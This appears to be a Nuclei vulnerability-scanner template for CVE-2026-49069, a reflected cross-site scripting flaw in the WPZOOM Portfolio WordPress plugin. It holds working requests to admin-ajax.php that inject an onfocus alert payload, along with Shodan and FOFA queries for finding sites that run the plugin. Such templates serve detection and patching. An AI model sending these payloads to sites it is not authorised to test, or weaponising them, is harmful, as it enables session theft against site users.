id: CVE-2026-49069 info: name: WPZOOM Portfolio <= 1.4.21 - Reflected Cross-Site Scripting author: aryu-ru severity: high description: | WPZOOM Portfolio <= 1.4.21 contains a reflected XSS caused by improper neutralization of input during web page generation, letting attackers execute scripts in victim's browser, exploit requires crafted request. impact: | Attackers can execute scripts in users' browsers, potentially stealing cookies or performing actions on behalf of users. remediation: | Update to the latest version of WPZOOM Portfolio. reference: - https://patchstack.com/database/wordpress/plugin/wpzoom-portfolio/vulnerability/wordpress-wpzoom-portfolio-plugin-1-4-21-cross-site-scripting-xss-vulnerability?_s_id=cve - https://www.exploit-db.com/exploits/52611 - https://nvd.nist.gov/vuln/detail/CVE-2026-49069 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L cvss-score: 7.1 cve-id: CVE-2026-49069 epss-score: 0.01166 epss-percentile: 0.67507 cwe-id: CWE-79 metadata: verified: true max-request: 3 vendor: wpzoom product: wpzoom-portfolio shodan-query: http.html:"/wp-content/plugins/wpzoom-portfolio" fofa-query: body="/wp-content/plugins/wpzoom-portfolio" tags: cve,cve2026,wordpress,wp,wp-plugin,wpzoom,xss,unauth variables: marker: "{{randstr}}" flow: http(1) && (http(2) || http(3)) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} host-redirects: true max-redirects: 3 matchers: - type: dsl dsl: - contains(body, "wpzoom-portfolio") - status_code == 200 condition: and internal: true - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=wpzoom_load_more_items&offset=0&posts_data=%7B%22source%22%3A%22post%22%2C%22class%22%3A%22{{marker}}%27%20onfocus%3D%27alert(document.domain)%27%20autofocus%3D%27%22%7D matchers: - type: word part: body words: - "onfocus='alert(document.domain)'" - "wpzoom-ajax-portfolio-items" condition: and - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=wpzoom_load_more_items&offset=0&posts_data=%7B%22source%22%3A%22portfolio_item%22%2C%22class%22%3A%22{{marker}}%27%20onfocus%3D%27alert(document.domain)%27%20autofocus%3D%27%22%7D matchers: - type: word part: body words: - "onfocus='alert(document.domain)'" - "wpzoom-ajax-portfolio-items" condition: and # digest: 4a0a00473045022100b360133251cebc1131e2fa58e09283fcf04cb0d87edfc588e2ab191762cc441702202f76333b3280b5ebb8e0dc56ffe62866edfa48ea862a69abf495d818a72dd99d:922c64590222798bb761d5b6d8e72950